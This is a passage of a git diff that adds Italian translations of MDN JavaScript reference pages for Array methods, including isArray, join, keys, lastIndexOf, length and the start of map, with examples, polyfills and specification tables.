+      //        internal method of o with the argument ToString(k).
+      //   ii.  Let same be the result of applying the
+      //        Strict Equality Comparison Algorithm to
+      //        searchElement and elementK.
+      //  iii.  If same is true, return k.
+      if (k in o &amp;&amp; o[k] === searchElement) {
+        return k;
+      }
+      k++;
+    }
+    return -1;
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.14', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.indexof', 'Array.prototype.indexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.indexOf")}}</p>
+</div>
+
+<h2 id="Note_di_compatibilità">Note di compatibilità</h2>
+
+<ul>
+ <li>A partire da Firefox 47 {{geckoRelease(47)}}, questo metodo non restituirà più <code>-0</code>. Ad esempio, <code>[0].indexOf(0, -0)</code> restituirà sempre <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.lastIndexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.indexOf()")}}</li>
+ <li>{{jsxref("String.prototype.indexOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/isarray/index.html b/files/it/web/javascript/reference/global_objects/array/isarray/index.html
new file mode 100644
index 0000000000..d7aaf864bf
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/isarray/index.html
@@ -0,0 +1,133 @@
+---
+title: Array.isArray()
+slug: Web/JavaScript/Reference/Global_Objects/Array/isArray
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Referenza
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/isArray
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>Array.isArray()</strong></code> determina se il valore passato è un {{jsxref("Array")}}.</p>
+
+<pre class="brush: js">Array.isArray([1, 2, 3]);  // true
+Array.isArray({foo: 123}); // false
+Array.isArray('foobar');   // false
+Array.isArray(undefined);  // false
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox">Array.isArray(<var>value</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>value</code></dt>
+ <dd>Il valore da verificare.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p><code>true</code> se il valore è un {{jsxref("Array")}}; altrimenti, <code>false</code>.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Se il valore è un {{jsxref("Array")}}, viene ritornato <code>true</code>; altrimenti viene ritornato <code>false</code>.</p>
+
+<p>Vedi l'articolo <a href="http://web.mit.edu/jwalden/www/isArray.html">“Determining with absolute accuracy whether or not a JavaScript object is an array”</a> per maggiori dettagli. Data un'istanza {{jsxref("TypedArray")}}, viene ritornato sempre <code>false</code>.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<pre class="brush: js">// tutte le seguenti chiamate ritornano true
+Array.isArray([]);
+Array.isArray([1]);
+Array.isArray(new Array());
+Array.isArray(new Array('a', 'b', 'c', 'd'));
+Array.isArray(new Array(3));
+// Fatto poco noto: Array.prototype stesso è un array:
+Array.isArray(Array.prototype);
+
+// tutte le seguenti chiamate ritornano false
+Array.isArray();
+Array.isArray({});
+Array.isArray(null);
+Array.isArray(undefined);
+Array.isArray(17);
+Array.isArray('Array');
+Array.isArray(true);
+Array.isArray(false);
+Array.isArray(new Uint8Array(32));
+Array.isArray({ __proto__: Array.prototype });
+</pre>
+
+<h3 id="instanceof_vs_isArray"><code>instanceof</code> vs <code>isArray</code></h3>
+
+<p>Quando si verifica l'istanza <code>Array</code>, <code>Array.isArray</code> è preferito su <code>instanceof</code> perché funziona attraverso gli <code>iframes</code>.</p>
+
+<pre class="brush: js">var iframe = document.createElement('iframe');
+document.body.appendChild(iframe);
+xArray = window.frames[window.frames.length-1].Array;
+var arr = new xArray(1,2,3); // [1,2,3]
+
+// Verifica corretta dell'array
+Array.isArray(arr);  // true
+// Considerato dannoso, perché non funziona attraverso iframe
+arr instanceof Array; // false
+</pre>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p>L'esecuzione del seguente codice prima di qualsiasi altro codice creerà <code>Array.isArray()</code> se non è nativamente disponibile.</p>
+
+<pre class="brush: js">if (!Array.isArray) {
+  Array.isArray = function(arg) {
+    return Object.prototype.toString.call(arg) === '[object Array]';
+  };
+}
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.3.2', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale Implementato in JavaScript 1.8.5.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.isarray', 'Array.isArray')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.isArray")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/join/index.html b/files/it/web/javascript/reference/global_objects/array/join/index.html
new file mode 100644
index 0000000000..8483c817ac
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/join/index.html
@@ -0,0 +1,112 @@
+---
+title: Array.prototype.join()
+slug: Web/JavaScript/Reference/Global_Objects/Array/join
+tags:
+  - Array
+  - JavaScript
+  - Prototype
+  - Referenza
+  - metodo
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/join
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>join()</strong></code> unisce tutti gli elementi di un array (o di un <a href="/en-US/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">array di </a>oggetti) in una stringa che viene restituita.</p>
+
+<pre class="brush: js">var a = ['Wind', 'Rain', 'Fire'];
+a.join();    // 'Wind,Rain,Fire'
+a.join('-'); // 'Wind-Rain-Fire'</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.join()
+<var>arr</var>.join(<var>separatore</var>)</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>separatore</code> {{optional_inline}}</dt>
+ <dd>Specifica una stringa che separa ogni coppia di elementi adiacenti dell'array. Il separatore è trasformato in una stringa, se necessario. Se omesso, gli elementi dell'array saranno separati da una virgola (","). Se il <code>separatore</code> è una stringa vuota, tutti gli elementi sono uniti senza alcun carattere intemedio.</dd>
+</dl>
+
+<h3 id="Valore_di_risposta">Valore di risposta</h3>
+
+<p>Una stringa con tutti con tutti gli elementi dell'array uniti. Se <code><em>arr</em>.length</code> è <code>0</code>, viene restituita una stringa vuota.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Le stringe ottenute dalla conversione di tutti gli elementi dell'array sono unite in un unica stringa.</p>
+
+<div class="warning">
+<p>Se un elemento è <code>undefined</code> o <code>null</code>, sarà convertito in una stringa vuota.</p>
+</div>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Quattro_modi_per_concatenare_un_array">Quattro modi per concatenare un array</h3>
+
+<p>Il seguente esempio crea un array, <code>a</code>, con tre elementi, quindi unisce gli elementi dell'array quattro volte: usando l'operatore di default, poi una virgola e uno spazio, poi un più e infine una stringa vuota.</p>
+
+<pre class="brush: js">var a = ['Wind', 'Rain', 'Fire'];
+a.join();      // 'Wind,Rain,Fire'
+a.join(', ');  // 'Wind, Rain, Fire'
+a.join(' + '); // 'Wind + Rain + Fire'
+a.join('');    // 'WindRainFire'</pre>
+
+<h3 id="Unione_di_un_oggetto_di_tipo_array">Unione di un oggetto di tipo array</h3>
+
+<p>Il seguente esempio unisce un oggetto di tipo array (<code><a href="/en-US/docs/Web/JavaScript/Reference/Functions/arguments">arguments</a></code>), chiamando {{jsxref("Function.prototype.call")}} con <code>Array.prototype.join</code>.</p>
+
+<pre class="brush: js">function f(a, b, c) {
+  var s = Array.prototype.join.call(arguments);
+  console.log(s); // '<span class="message-body-wrapper"><span class="message-flex-body"><span class="devtools-monospace message-body"><span class="objectBox objectBox-string">1,a,true'</span></span></span></span>
+}
+f(1, 'a', true);</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.1.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.5', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.join', 'Array.prototype.join')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_browser">Compatibilità browser</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.join")}}</p>
+</div>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("String.prototype.split()")}}</li>
+ <li>{{jsxref("Array.prototype.toString()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.join()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/keys/index.html b/files/it/web/javascript/reference/global_objects/array/keys/index.html
new file mode 100644
index 0000000000..78212d221f
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/keys/index.html
@@ -0,0 +1,74 @@
+---
+title: Array.prototype.keys()
+slug: Web/JavaScript/Reference/Global_Objects/Array/keys
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/keys
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>keys()</strong></code> ritorna un nuovo oggetto <code><strong>Array Iterator</strong></code> contenente le chiavi di ogni indice dell'array.</p>
+
+<pre class="brush: js">var arr = ['a', 'b', 'c'];
+var iterator = arr.keys();
+
+console.log(iterator.next()); // { value: 0, done: false }
+console.log(iterator.next()); // { value: 1, done: false }
+console.log(iterator.next()); // { value: 2, done: false }
+console.log(iterator.next()); // { value: undefined, done: true }
+</pre>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.keys()</pre>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un nuovo oggetto {{jsxref("Array")}}.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="I_Key_iterator_non_ignorano_gli_elementi_vuoti">I Key iterator non ignorano gli elementi vuoti</h3>
+
+<pre class="brush: js">var arr = ['a', , 'c'];
+var sparseKeys = Object.keys(arr);
+var denseKeys = [...arr.keys()];
+console.log(sparseKeys); // ['0', '2']
+console.log(denseKeys);  // [0, 1, 2]
+</pre>
+
+<h2 id="Specifiche">Specifiche</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifica</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commenti</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.keys', 'Array.prototype.keys')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("javascript.builtins.Array.keys")}}</p>
+</div>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.values()")}}</li>
+ <li>{{jsxref("Array.prototype.entries()")}}</li>
+ <li><a href="/en-US/docs/Web/JavaScript/Reference/Iteration_protocols">Iteration protocols</a></li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/lastindexof/index.html b/files/it/web/javascript/reference/global_objects/array/lastindexof/index.html
new file mode 100644
index 0000000000..c4170455f6
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/lastindexof/index.html
@@ -0,0 +1,169 @@
+---
+title: Array.prototype.lastIndexOf()
+slug: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Protototipo
+  - Prototype
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>lastIndexOf()</strong></code> ritorna l'ultimo indice nel quale l'elemento dato può essere trovato nell' array, o -1 se non presente. L'array verrà controllato al contrario, partendo da <code>fromIndex</code>.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-lastindexof.html")}}</div>
+
+<p class="hidden">Il codice sorgere per questo esempio interattivo è conservato all' interno di una repository di GitHub. Se vuoi contribuire all progetto di esempi interattivi, perfavore clona <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> e inviaci una pull request.</p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>arr</var>.lastIndexOf(<var>searchElement</var>)
+<var>arr</var>.lastIndexOf(<var>searchElement</var>, <var>fromIndex</var>)
+</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>searchElement</code></dt>
+ <dd>Elemento da trovare nell' array.</dd>
+ <dt><code>fromIndex</code> {{optional_inline}}</dt>
+ <dd>L'indice da cui iniziare a cercare al contrario. Di defaults la lunghezza dell' array meno uno (<code>arr.length - 1</code>), quindi cercherà in tutto l'array. Se l'indice è uguale o maggiore alla lunghezza dell' array, l' elemento sarà cercato in tutto l'array. Se negativo, Verrà preso come offset dalla fine dell' array. Nota che anche se l'indice è negativo, l'array sarà controllato comunque al contrario. ISe l'indice calcolato è minore di 0, verrà ritornato -1, quindi non verrà effettuata la ricerca.</dd>
+</dl>
+
+<h3 id="Valori_restituiti">Valori restituiti</h3>
+
+<p>L'ultimo indice dell' elemento nell' array; <strong>-1</strong> se non trovato.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>lastIndexOf</code> compara <code>searchElement</code> a gli elementi dell' array usando <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">strict equality</a> (lo stesso metodo usato ===, o triple-equals, operator).</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Utilizzo_di_lastIndexOf">Utilizzo di <code>lastIndexOf</code></h3>
+
+<p>L'esempio seguente usa <code>lastIndexOf</code> per trovare i valori in un array.</p>
+
+<pre class="brush: js">var numbers = [2, 5, 9, 2];
+numbers.lastIndexOf(2);     // 3
+numbers.lastIndexOf(7);     // -1
+numbers.lastIndexOf(2, 3);  // 3
+numbers.lastIndexOf(2, 2);  // 0
+numbers.lastIndexOf(2, -2); // 0
+numbers.lastIndexOf(2, -1); // 3
+</pre>
+
+<h3 id="Trovare_tutte_le_posizioni_di_un_elemento">Trovare tutte le posizioni di un elemento</h3>
+
+<p>Il seguente esempio usa <code>lastIndexOf</code> per trovare tutti gli elementi nell' array, usando {{jsxref("Array.prototype.push", "push")}} per essere aggiunti in un array come vengono trovati.</p>
+
+<pre class="brush: js">var indices = [];
+var array = ['a', 'b', 'a', 'c', 'a', 'd'];
+var element = 'a';
+var idx = array.lastIndexOf(element);
+while (idx != -1) {
+  indices.push(idx);
+  idx = (idx &gt; 0 ? array.lastIndexOf(element, idx - 1) : -1);
+}
+
+console.log(indices);
+// [4, 2, 0]
+</pre>
+
+<p>Nota che non abbiamo considerato <code>idx == 0</code>perchè l'elemento sarà sempre troavto indipendemente da <code>il parametro fromIndex</code> se è il primo elemento dell'array. TQuesto è diveso dal metodo {{jsxref("Array.prototype.indexOf", "indexOf")}}.</p>
+
+<h2 id="Polyfill">Polyfill</h2>
+
+<p><code>lastIndexOf</code> è stato aggiunto nello standard ECMA-262 nella 5° edizione; come può non essere trovato in altre implementazioni nello standard. Puoi aggirare questa cosa inserendo il seguente codice all' inizio del tuo script, permettendoti di usare <code>lastIndexOf</code> anche se non supportato nativamente.Questo algorittmo è esattamente quello descritto da ECMA-262, 5° edizione, assumendo{{jsxref("Object")}}, {{jsxref("TypeError")}}, {{jsxref("Number")}}, {{jsxref("Math.floor")}}, {{jsxref("Math.abs")}}, e {{jsxref("Math.min")}} abbiano il loro valore originale.</p>
+
+<pre class="brush: js">// Production steps of ECMA-262, Edition 5, 15.4.4.15
+// Reference: http://es5.github.io/#x15.4.4.15
+if (!Array.prototype.lastIndexOf) {
+  Array.prototype.lastIndexOf = function(searchElement /*, fromIndex*/) {
+    'use strict';
+
+    if (this === void 0 || this === null) {
+      throw new TypeError();
+    }
+
+    var n, k,
+      t = Object(this),
+      len = t.length &gt;&gt;&gt; 0;
+    if (len === 0) {
+      return -1;
+    }
+
+    n = len - 1;
+    if (arguments.length &gt; 1) {
+      n = Number(arguments[1]);
+      if (n != n) {
+        n = 0;
+      }
+      else if (n != 0 &amp;&amp; n != (1 / 0) &amp;&amp; n != -(1 / 0)) {
+        n = (n &gt; 0 || -1) * Math.floor(Math.abs(n));
+      }
+    }
+
+    for (k = n &gt;= 0 ? Math.min(n, len - 1) : len - Math.abs(n); k &gt;= 0; k--) {
+      if (k in t &amp;&amp; t[k] === searchElement) {
+        return k;
+      }
+    }
+    return -1;
+  };
+}
+</pre>
+
+<p>Ancora, nota che questa implementazione mira alla compatibilità assoluta con <code>lastIndexOf</code> in Firefox e SpiderMonkey JavaScript engine, includendo alcuni casi che sono considerati estremi. ISe hai intenzione di usare questo in applicazioni reali, potresti calcolare <code>from</code> con un codice meno complicato se ignori questi casi.</p>
+
+<h2 id="Descrizione_2">Descrizione</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Descrizione</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.4.15', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Definizione iniziale. Implementato in JavaScript 1.6.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-array.prototype.lastindexof', 'Array.prototype.lastIndexOf')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità_con_il_browser">Compatibilità con il browser</h2>
+
+<div>
+<div class="hidden">La tabella della compatibilità in questa pagina è stata generata da strutture dati. Se vorresti contribuire  ai dati, perfavore da un' occhiata a <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> e inviaci una pull request.</div>
+
+<p>{{Compat("javascript.builtins.Array.lastIndexOf")}}</p>
+</div>
+
+<h2 id="Note_di_compatibilità">Note di compatibilità</h2>
+
+<ul>
+ <li>Partendo da Firefox 47 {{geckoRelease(47)}},  <code>questo metodo non restituirà più -0</code>. Per esempio, <code>[0].lastIndexOf(0, -0)</code> Ora restituirà sempre <code>+0</code> ({{bug(1242043)}}).</li>
+</ul>
+
+<h2 id="Guarda_anche">Guarda anche</h2>
+
+<ul>
+ <li>{{jsxref("Array.prototype.indexOf()")}}</li>
+ <li>{{jsxref("TypedArray.prototype.lastIndexOf()")}}</li>
+</ul>
diff --git a/files/it/web/javascript/reference/global_objects/array/length/index.html b/files/it/web/javascript/reference/global_objects/array/length/index.html
new file mode 100644
index 0000000000..a36a6b5204
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/length/index.html
@@ -0,0 +1,129 @@
+---
+title: Array.length
+slug: Web/JavaScript/Reference/Global_Objects/Array/length
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/length
+---
+<div>{{JSRef}}</div>
+
+<div>La proprieta' <strong>length</strong> setta o restituisce il numero di elementi in un array. E' un intero a 32 bit, sempre maggiore del piu' grande indice dell'array.</div>
+
+<div> </div>
+
+<pre class="brush: js">var items = ['shoes', 'shirts', 'socks', 'sweaters'];
+items.length;
+
+// returns 4</pre>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p>Puoi impostare la proprietà <strong>length</strong> di un array per troncare o estendere l'array stesso.</p>
+
+<pre class="brush: js">var a = [1,2,3];
+a.length=2;
+// a is now [1, 2]
+
+a.length = 10
+// a is now [1, 2, undefined × 8]
+</pre>
+
+<h3 id="sect1"> </h3>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Iterare_su_un_array">Iterare su un array</h3>
+
+<p>Nel seguente esempio, l'array <em>numbers</em> viene iterarato e ciascun elemento viene moltiplicato per 2.</p>
+
+<pre class="brush: js">var numbers = [1, 2, 3, 4, 5];
+var length = numbers.length;
+for (var i = 0; i &lt; length; i++) {
+  numbers[i] *= 2;
+}
+// numbers is now [2, 4, 6, 8, 10]
+</pre>
+
+<h3 id="Specifiche">Specifiche</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specifiche</th>
+   <th scope="col">Stato</th>
+   <th scope="col">Commento</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES1')}}</td>
+   <td>{{Spec2('ES1')}}</td>
+   <td>Definizione iniziale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.4.5.2', 'Array.length')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-properties-of-array-instances-length', 'Array.length')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilità">Compatibilità</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome for Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="sect2"> </h2>
diff --git a/files/it/web/javascript/reference/global_objects/array/map/index.html b/files/it/web/javascript/reference/global_objects/array/map/index.html
new file mode 100644
index 0000000000..808b4fc728
--- /dev/null
+++ b/files/it/web/javascript/reference/global_objects/array/map/index.html
@@ -0,0 +1,323 @@
+---
+title: Array.prototype.map()
+slug: Web/JavaScript/Reference/Global_Objects/Array/map
+tags:
+  - Array
+  - ECMAScript 5
+  - JavaScript
+  - Prototype
+  - Referenza
+  - metodo
+  - polyfill
+translation_of: Web/JavaScript/Reference/Global_Objects/Array/map
+---
+<div>{{JSRef}}</div>
+
+<p>Il metodo <code><strong>map()</strong></code> crea un nuovo array con i risultati della chiamata di una funzione fornita su ogni elemento dell'array chiamante.</p>
+
+<div>{{EmbedInteractiveExample("pages/js/array-map.html")}}</div>
+
+<p class="hidden">The source for this interactive example is stored in a GitHub repository. If you'd like to contribute to the interactive examples project, please clone <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> and send us a pull request." </p>
+
+<h2 id="Sintassi">Sintassi</h2>
+
+<pre class="syntaxbox"><var>var new_array = arr</var>.map(function <var>callback(currentValue[, index[, array]]) {
+    </var>// Ritorna un elemento per new_array<var>
+}</var>[, <var>thisArg</var>])</pre>
+
+<h3 id="Parametri">Parametri</h3>
+
+<dl>
+ <dt><code>callback</code></dt>
+ <dd>Funzione che produce un elemento del nuovo array, prendendo tre argomenti:
+ <dl>
+  <dt> </dt>
+  <dt><code>currentValue</code></dt>
+  <dd>L'elemento corrente in elaborazione nell'array.</dd>
+  <dt><code>index</code>{{optional_inline}}</dt>
+  <dd>L'indice dell'elemento corrente in elaborazione nell'array.</dd>
+  <dt><code>array</code>{{optional_inline}}</dt>
+  <dd>L'array a cui viene applicato <code>map</code>.</dd>
+ </dl>
+ </dd>
+ <dt><code>thisArg</code>{{optional_inline}}</dt>
+ <dd>Valore da utilizzare come <code>this</code> quando viene eseguito <code>callback</code>.</dd>
+</dl>
+
+<h3 id="Valore_di_ritorno">Valore di ritorno</h3>
+
+<p>Un nuovo array con ciascun elemento che è il risultato della funzione di callback.</p>
+
+<h2 id="Descrizione">Descrizione</h2>
+
+<p><code>map</code> chiama il <code>callback</code> fornito <strong>una volta per ciascun elemento</strong> in un array, in ordine, e costruisce un nuovo array dai risultati. <code>callback</code> viene invocato solo per gli indici dell'array che hanno valori assegnati, incluso <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/undefined">undefined</a>. Non viene chiamato per gli elementi mancanti dell'array (ovvero, gli indici che non sono mai stati impostati, che sono stati cancellati o a cui non è mai stato assegnato un valore).</p>
+
+<p>Poichè <code>map</code> costruisce un nuovo array, usarlo quando non si utilizza l'array restituito è un anti-pattern; usa <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach"><code>forEach</code></a> o <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for-of</a></code> invece. Segni che non dovresti usare map: A) Non stai usando l'array restituito, e/o B) Non stai restituendo un valore dal callback.</p>
+
+<p><code>callback</code> viene invocato con tre argomenti: il valore dell'elemento, l'indice dell'elemento e l'oggetto Array che viene iterato.</p>
+
+<p>Se viene fornito il parametro <code>thisArg</code> a <code>map</code>, verrà utilizzato come valore <code>this</code> del callback. Altrimenti, il valore {{jsxref("undefined")}} sarà usato come valore <code>this</code>. Il valore <code>this</code> alla fine osservabile da <code>callback</code> è determinato secondo <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this">le consuete regole per determinare il <code>this</code> visto da una funzione</a>.</p>
+
+<p><code>map</code> non muta l'array su cui è chiamato (sebbene <code>callback</code>, se invocato, possa farlo).</p>
+
+<p>L'intervallo di elementi elaborati da <code>map</code> viene impostato prima della prima chiamata del <code>callback</code>. Gli elementi aggiunti all'array dopo che la chiamata a <code>map</code> inizia non saranno calcolati da <code>callback</code>. Se i valori degli elementi esistenti dell'array vengono modificati, il valore passato a <code>callback</code> sarà il valore al momento in cui <code>map</code> li visita. Gli elementi che vengono cancellati dopo che la chiamata a <code>map</code> inizia e prima di essere visitati non vengono visitati.</p>
+
+<p>A causa dell'algoritmo definito nella specifica, se l'array su cui è stata chiamato <code>map</code> è sparso, l'array risultante sarà sparso, mantenendo vuoti gli stessi indici.</p>
+
+<h2 id="Esempi">Esempi</h2>
+
+<h3 id="Mappare_una_serie_di_numeri_ad_un_array_di_radici_quadrate">Mappare una serie di numeri ad un array di radici quadrate</h3>
+
